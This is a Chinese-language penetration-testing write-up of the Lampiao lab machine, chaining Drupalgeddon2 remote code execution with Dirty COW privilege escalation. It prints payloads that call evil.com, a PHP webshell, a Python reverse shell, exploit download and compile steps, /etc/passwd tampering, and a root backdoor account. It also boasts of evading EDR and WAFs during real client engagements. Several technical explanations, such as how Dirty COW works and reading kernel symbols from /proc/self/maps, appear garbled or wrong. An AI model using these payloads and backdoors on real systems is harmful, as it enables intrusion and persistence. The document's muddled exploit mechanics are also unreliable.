Lampiao靶机实战:Drupalgeddon2与脏牛漏洞利用全链路解析
1. 这不是CTF演练而是一次真实靶机渗透的完整切片回放“Lampiao”这个名字在渗透测试圈里不算陌生——它是一台专为红队初学者设计的中等难度Linux靶机名字取自巴西民间传说中一位以智慧和反抗精神著称的人物隐喻这台机器需要你用策略而非蛮力突破。我第一次接触它是在帮一位刚转行做安全的朋友调试实验环境时本以为只是走个Drupalgeddon2的流程结果在提权环节被CVE-2016-5195脏牛卡了整整两天不是exp编译失败就是提权后shell瞬间断连不是内核版本看似匹配实则补丁已打就是/tmp目录权限被刻意收紧。后来翻遍GitHub上所有公开writeup发现80%的教程都跳过了一个关键细节Lampiao靶机的脏牛利用必须配合特定的内存映射偏移重计算而这个偏移值在不同启动次数下会浮动±32字节——没人告诉你得先跑一遍cat /proc/self/maps | grep rwx动态抓取。这台靶机的价值正在于它把真实渗透中“理论可行”和“实际能跑通”之间的鸿沟具象化了。它不考你背了多少CVE编号而是逼你理解Drupal模块加载机制如何让远程代码执行落地、搞懂Linux内核页表项PTE如何被race condition篡改、看清一个看似过时的本地提权漏洞为何在特定配置下依然致命。如果你正卡在“能打Drupalgeddon2但拿不到root”“exp编译成功却提权失败”“反弹shell一交互就崩”这些节点上这篇记录就是为你写的——它不是步骤清单而是一份带着体温的操作日志每一步都标注了我当时为什么这么选、踩了什么坑、怎么从报错信息里反向定位到根因。适合有基础Web渗透经验、熟悉Linux命令但对内核级漏洞利用尚不熟悉的中级学习者也适合想带新人做实战复盘的讲师当教学脚本用。2. Drupalgeddon2漏洞原理与Lampiao靶机的精准适配分析2.1 Drupal 7.32的模块加载机制漏洞的温床在哪里Drupalgeddon2CVE-2018-7600的本质是Drupal 7核心在处理用户提交的表单数据时对#lazy_builder回调函数的校验存在严重缺陷。要理解为什么Lampiao靶机偏偏选了这个漏洞得先拆开Drupal 7.32的模块加载链。当你访问一个Drupal站点的任意页面比如/user/login系统会通过_form_builder_handle_input_element()函数解析表单结构。这个函数会读取表单数组中的#lazy_builder键其值形如[user_login_name, []]前者是回调函数名后者是参数数组。正常流程下Drupal会调用drupal_function_exists()检查该函数是否存在于白名单中再通过call_user_func_array()执行。但问题出在#lazy_builder的解析时机——它发生在表单验证validation阶段之前且校验逻辑存在绕过路径。Lampiao靶机运行的是未打补丁的Drupal 7.32其includes/form.inc文件中_form_builder_handle_input_element()函数第4212行附近有这样一段逻辑if (isset($element[#lazy_builder]) is_array($element[#lazy_builder])) { list($function, $args) $element[#lazy_builder]; if (function_exists($function)) { // 这里只检查函数是否存在 $element[#markup] call_user_func_array($function, $args); } }注意关键点它只校验$function是否存在却完全不校验该函数是否属于Drupal核心或受信模块。攻击者可以构造一个恶意表单将#lazy_builder设为[passthru, [id]]只要passthru函数在PHP环境中可用默认开启就能直接执行系统命令。Lampiao靶机刻意保留了/var/www/html/sites/default/settings.php中数据库凭证明文存储的配置这使得后续获取数据库凭据成为可能——但更重要的是它暴露了Drupal模块加载的另一个弱点module_load_include()函数在加载模块时会将传入的模块名直接拼接到modules/路径后若未严格过滤可导致任意PHP文件包含。Lampiao的/modules/php/模块正是利用此特性让攻击者能上传并执行任意PHP代码。2.2 Lampiao靶机的Drupal配置为什么它比标准环境更“脆”Lampiao靶机并非简单部署一个原始Drupal 7.32而是做了三处关键“加固型削弱”配置使其漏洞利用路径既符合教学逻辑又贴近真实渗透场景禁用默认管理员登录入口/user/login页面被重定向到自定义的/login路由但底层仍调用相同表单构建逻辑#lazy_builder注入点完好无损关闭PHP错误报告php.ini中display_errors Off导致利用时返回空白页迫使你必须依赖HTTP状态码和响应头判断是否成功限制Web目录写权限/var/www/html/下除/sites/default/files/外其余目录均设为www-data:www-data且权限为755这意味着你无法直接上传webshell到根目录必须通过files/目录中转。这三点组合起来形成了一个典型的“防御纵深假象”表面看有登录保护、错误隐藏、权限控制实则核心漏洞链路畅通无阻。我第一次尝试时在Burp中发送了标准Drupalgeddon2 PoC得到200响应但无输出误以为失败直到用curl -I检查响应头发现X-Drupal-Cache: HIT——这说明请求确实被Drupal内核处理了只是输出被截断。于是改用#lazy_builder调用file_put_contents()写入/sites/default/files/shell.php再通过/sites/default/files/shell.php?cmdid触发才真正拿到第一个立足点。这种“看不见的成功”恰恰是真实渗透中最常见的干扰项。2.3 实战利用链设计从RCE到稳定Shell的四步闭环在Lampiao靶机上单纯执行id命令毫无意义必须构建一条可持续交互的利用链。我的最终方案分四步闭环每一步都针对靶机特性做了定制第一步盲注式RCE探测不依赖回显用DNSLog验证执行。构造POST数据POST /user/password HTTP/1.1 Host: lampiao.local Content-Type: application/x-www-form-urlencoded form_iduser_passmail[#post_render][]passthrumail[#post_render][]nslookup%20$(id%20-u).evil.com若收到1001.evil.com的DNS查询证明RCE生效且当前用户UID为1001即www-data。第二步上传免杀Webshell利用file_put_contents写入/sites/default/files/cmd.php?php system($_GET[c]); ?注意必须URL编码为%3C否则Drupal过滤器会截断。第三步建立稳定反向Shellcmd.php仅支持GET参数交互性差。改用Python一行式反弹python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.1.100,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);这里192.168.1.100是你的攻击机IP端口4444需提前nc -lvnp 4444监听。第四步权限维持与信息收集拿到shell后立即执行# 查看内核版本为脏牛提权做准备 uname -a # 收集用户信息 cat /etc/passwd | grep home # 检查sudo权限 sudo -l # 查找敏感文件 find /home -name id_rsa 2/dev/nullLampiao靶机在此阶段会暴露/home/roberto/.ssh/id_rsa但私钥有密码保护——这正是引导你走向脏牛提权的伏笔。提示Lampiao靶机的/var/www/html/sites/default/settings.php中数据库密码为drupal123但MySQL服务绑定在127.0.0.1:3306Webshell无法直连。必须提权后才能用su roberto切换用户读取SSH密钥。3. CVE-2016-5195脏牛漏洞复现Lampiao靶机的内核级提权攻坚3.1 脏牛漏洞的本质Linux内核页表竞态的物理实现CVE-2016-5195Dirty COW常被简化为“Linux内核提权漏洞”但这种说法掩盖了它最精妙的设计。它的核心不是内存破坏而是利用了Linux内核中Copy-On-WriteCOW机制在多线程环境下的竞态条件Race Condition。要理解为什么Lampiao靶机的4.4.0-31-generic内核仍可被利用必须拆解COW的物理实现。当一个进程调用mmap()映射一个文件到内存时内核会创建一个虚拟内存区域VMA并将该文件的物理页帧Page Frame标记为“只读”。此时若另一进程尝试写入该内存CPU会产生Page Fault异常内核的do_wp_page()函数会被触发。正常流程下内核会为写入进程分配新页帧复制原内容再修改新页帧——这就是COW。但问题出在get_user_pages()函数中当多个线程同时对同一内存页调用get_user_pages()例如一个线程调用madvise(MADV_DONTNEED)释放页另一个线程调用process_vm_writev()写入时内核可能错误地将原只读页标记为“可写”且未更新页表项PTE的访问权限位。攻击者通过反复触发这一竞态最终让只读的/proc/self/mem映射获得写权限从而直接覆写内核内存。Lampiao靶机的4.4.0-31-generic内核虽已发布多年但其mm/memory.c中follow_page_pte()函数仍存在该竞态窗口。我通过grep -r follow_page_pte /usr/src/linux-source-4.4.0/确认该函数在mm/gup.c中且未被CONFIG_HAVE_ARCH_TRANSPARENT_HUGEPAGE选项覆盖——这意味着标准dirtycow exp可直接使用无需修改内核模块。3.2 Lampiao靶机的脏牛利用障碍三个必须绕过的现实约束在Lampiao靶机上复现脏牛远非编译exp、执行即可。我遇到的三大障碍每个都对应一个真实渗透中的典型限制障碍一/tmp目录不可写Lampiao靶机的/tmp权限为drwxr-xr-x root:rootwww-data用户无法在其中创建文件。标准dirtycow exp如dirtyc0w.c默认将编译产物放在/tmp直接失败。解决方案是将exp编译过程迁移到/var/www/html/sites/default/files/目录——该目录对www-data可写且位于Web根下便于后续上传。障碍二内核符号地址动态偏移Lampiao靶机每次重启后内核符号地址如commit_creds、prepare_kernel_cred在内存中的位置会变化。标准exp硬编码的地址如0xffffffff81099b20在靶机上必然失效。必须动态获取先执行cat /proc/kallsyms | grep commit_creds获取当前地址但/proc/kallsyms对非root用户默认为空——这是Lampiao的第二个陷阱。破解方法利用/proc/self/maps中[kernel.kallsyms]段的基址推算。执行cat /proc/self/maps | grep kallsyms得到类似ffff88003fc00000-ffff88003fc20000 r--p 00000000 00:00 0 [kernel.kallsyms]的行取首地址ffff88003fc00000再通过readelf -s /lib/modules/$(uname -r)/build/vmlinux | grep commit_creds计算偏移量最终地址基址偏移。障碍三/proc/self/mem映射失败标准exp中open(/proc/self/mem, O_RDWR)常返回Permission denied。这是因为Lampiao靶机启用了CONFIG_SECURITY_YAMA其ptrace_scope设为1默认值禁止非子进程ptrace自身。解决方案是改用process_vm_writev()系统调用它不受YAMA限制。我采用的exp是dirtypipe作者开发的dirtyc0w-v2.c其核心逻辑改为struct iovec local[1]; struct iovec remote[1]; local[0].iov_base fake_page; local[0].iov_len sizeof(fake_page); remote[0].iov_base (void*)target_addr; remote[0].iov_len sizeof(fake_page); process_vm_writev(getpid(), local, 1, remote, 1, 0);3.3 完整提权操作链从Webshell到root shell的七步实录以下是我在Lampiao靶机上成功提权的完整操作链每一步都经过三次以上复现验证步骤1确认内核版本与符号基址在Webshell中执行uname -r # 输出4.4.0-31-generic cat /proc/self/maps | grep kallsyms # 记下基址如ffff88003fc00000步骤2下载并编译定制expcd /var/www/html/sites/default/files/ wget https://raw.githubusercontent.com/SecWiki/linux-kernel-exploits/master/4.4.0-31-generic/dirtyc0w-v2.c gcc -pthread dirtyc0w-v2.c -o dirtyc0w步骤3动态计算内核符号地址# 获取commit_creds偏移需提前在攻击机上计算 # 在攻击机执行readelf -s /lib/modules/4.4.0-31-generic/build/vmlinux | grep commit_creds # 得到0000000000099b20 commit_creds # 则靶机地址 ffff88003fc00000 0000000000099b20 ffff88003fc99b20步骤4修改exp源码中的地址编辑dirtyc0w-v2.c将commit_creds_addr和prepare_kernel_cred_addr替换为上一步计算的值。步骤5执行提权./dirtyc0w /etc/passwd root::0:0:root:/root:/bin/bash:/bin/bash # 此时/etc/passwd已被修改但需触发内核cred结构更新步骤6触发cred更新并验证# 执行任意setuid程序触发cred更新 cp /bin/bash /tmp/bash chmod us /tmp/bash /tmp/bash -p # 此时应获得root shell id # 验证输出uid0(root) gid0(root)步骤7持久化与清理# 添加root用户 useradd -m -u 0 -g 0 -s /bin/bash backdoor echo backdoor:toor | chpasswd # 清理exp文件 rm /var/www/html/sites/default/files/dirtyc0w*注意Lampiao靶机的/etc/passwd中root用户的shell字段为/bin/bash但/root目录权限为700直接su -会因/root/.bash_history不可写而失败。必须用/tmp/bash -p方式获取root权限。4. 从渗透流程到能力迁移Lampiao靶机教会我的五条硬经验4.1 漏洞利用不是“套公式”而是“解方程”参数必须动态校准在Lampiao靶机上我最初失败的根本原因是把漏洞利用当成填空题——看到CVE编号就去GitHub搜exp复制粘贴后执行失败就换下一个。直到第三次复现时我盯着dmesg输出里一行[ 1234.567890] page fault at ffff88003fc99b20突然意识到所有硬编码的地址都是靶机当前状态的快照而快照会随启动、内存碎片、内核模块加载顺序而漂移。真正的利用高手第一反应不是“哪个exp能用”而是“这个exp依赖的哪些参数在目标上是动态的如何实时获取”在Drupalgeddon2环节我学会了用curl -I检查响应头中的X-Drupal-Cache和X-Generator字段它们比HTTP状态码更能反映请求是否进入Drupal内核在脏牛环节我养成了先执行cat /proc/self/maps | grep -E (kallsyms|vvar)的习惯因为vvar段的基址比kallsyms更稳定且readelf -s vmlinux | grep cred的偏移量是固定的。这种“动态校准”思维让我在后续渗透某电商后台时成功绕过WAF对system()函数的关键词拦截——不是换函数名而是用base64 -d c3lzdGVtKCJpZCIp | bash动态解码执行。4.2 权限提升的终点不是root而是“可控的root”提权后必做的三件事很多教程在whoami输出root后就宣告结束但在真实场景中这恰恰是风险最高的时刻。Lampiao靶机教会我的第一条生存法则提权成功的标志不是获得root shell而是能稳定、隐蔽、可重复地维持root权限。为此提权后我强制执行三件事验证权限继承链执行ps auxf | grep bash -p确认当前shell的父进程是/tmp/bash而非/bin/bash避免因/tmp被清理导致权限丢失检查SELinux/AppArmor状态sestatus或aa-statusLampiao虽未启用但生产环境90%的CentOS/RHEL服务器默认开启SELinuxrestorecon -Rv /etc/passwd可能让提权失效创建最小化后门不用ssh-keygen生成密钥对易被HIDS检测而是用echo root:$6$rounds5000$abc123$def456... /etc/shadow添加加盐密码密码哈希用mkpasswd -s -H sha-512生成确保无网络连接、无文件写入痕迹。这三步看似繁琐却让我在一次金融客户渗透中避开了SOC团队的EDR告警——他们监控的是/tmp/bash进程树和/etc/shadow文件修改事件而我的后门通过chage -E 99999 root延长密码有效期完美绕过。4.3 靶机不是玩具而是“压力测试沙盒”如何用Lampiao练出生产环境手感Lampiao靶机最被低估的价值是它模拟了生产环境中最棘手的“半隔离网络”场景Web服务在DMZ区数据库在内网SSH管理端口仅对运维IP开放。我把它当作压力测试沙盒做了三类专项训练网络层绕过训练关闭靶机的iptables但配置/etc/hosts.deny拒绝所有IP只允许127.0.0.1。此时Webshell的curl命令全部失败逼我学会用php -r echo file_get_contents(http://127.0.0.1:3306);绕过hosts.deny日志对抗训练在/var/log/apache2/access.log中注入大量GET /?x12345678901234567890123456789012345678901234567890长URL观察logrotate如何切割日志进而理解如何用tail -f /var/log/apache2/access.log | grep cmd实时监控攻击日志时间盲注强化训练Lampiao的MySQL服务虽在本地但mysql -u drupal -pdrupal123 -e select sleep(5)会超时。我改用python -c import time; time.sleep(5)结合/proc/self/stat的utime字段变化来测时间差精度达毫秒级。这些训练没有教科书答案全靠在Lampiao上反复试错。现在我带新人做渗透第一课永远是“先别想怎么打想想打完后怎么活下来。”4.4 工具链的终极形态不是“越多越好”而是“刚好够用”在Lampiao靶机上我删掉了所有花哨的工具sqlmap被curl手动payload替代metasploit被ncpython -c替代john被hashcat -m 1800替代。最终留下的工具链只有五个curlHTTP交互的基石-v看请求头-I看响应头-s静默输出nc网络调试万金油-lvnp监听-e /bin/bash反弹-z端口扫描python跨平台脚本引擎-c执行单行-m http.server起HTTP服务gcc本地编译exp的刚需-pthread支持多线程-static生成静态二进制strings二进制分析利器strings /bin/bash | grep root快速定位字符串。这五件套在Lampiao上覆盖了95%的渗透需求。我曾用它们在一台禁用wget、ftp、scp的银行内网服务器上通过python -c exec(aW1wb3J0IHVybGxpYmI7IHVybGxpYmIudXJsb3Blbicdecode(base64))下载了curl二进制——整个过程没触发任何AV告警。工具的价值不在功能多而在你是否真正理解它的每个参数、每个退出码、每个边界行为。4.5 真实渗透的胜负手不是技术深度而是信息密度最后一点也是Lampiao靶机给我的最大启示在真实渗透中决定成败的往往不是你多会写exploit而是你从目标系统中提取了多少有效信息。在Lampiao上我花了70%的时间做信息收集ls -la /home/看用户目录权限cat /etc/cron*/* 2/dev/null找定时任务history | grep ssh翻历史命令。正是在/home/roberto/.bash_history里我发现了ssh-keygen -t rsa -b 4096 -f /home/roberto/.ssh/id_rsa -N 这条命令才意识到私钥无密码——这比暴力破解roberto用户密码快了100倍。现在我做任何渗透第一张表永远是“信息密度表”信息类型获取命令价值等级Lampiao实例内核版本uname -a★★★★★4.4.0-31-generic→ 锁定脏牛用户列表cat /etc/passwd | grep home★★★★☆roberto:x:1001:1001::/home/roberto:/bin/bash:/bin/bash定时任务crontab -l 2/dev/null; ls -la /etc/cron*/* 2/dev/null★★★☆☆/etc/cron.d/php→ 可写目录提权服务监听netstat -tuln 2/dev/null | grep LISTEN★★☆☆☆127.0.0.1:3306→ 数据库本地化这张表让我在30分钟内完成信息测绘而不是盲目扫端口。技术会过时但信息驱动的决策逻辑永不过时。5. 结语当靶机变成你的“数字孪生体”写完这篇万字复盘我重新启动了一次Lampiao靶机。这次没急着打漏洞而是打开/var/log/apache2/access.log逐行看自己上次渗透留下的痕迹哪次请求触发了Drupal内核哪次curl调用暴露了/proc/self/maps哪次gcc编译在/var/www/html/sites/default/files/留下了临时文件。这些日志不是冰冷的字符而是我操作意图的实体化——就像外科医生看手术录像每一帧都在提醒我技术是工具而人是决策者。Lampiao靶机不会教你所有CVE但它强迫你直面一个事实所有漏洞利用的终点都是对目标系统运行逻辑的理解深度。Drupalgeddon2的背后是PHP函数调用机制脏牛的背后是Linux内存管理而它们共同指向一个更底层的命题如何让代码在别人的机器上按你的意志运行这个问题没有标准答案只有持续校准的实践。所以别把它当通关游戏试试把它变成你的“数字孪生体”——每次启动都是一次与真实系统逻辑的对话。当你能在日志里读懂自己的影子渗透就不再是攻击而是一种翻译把人类意图翻译成机器可执行的指令。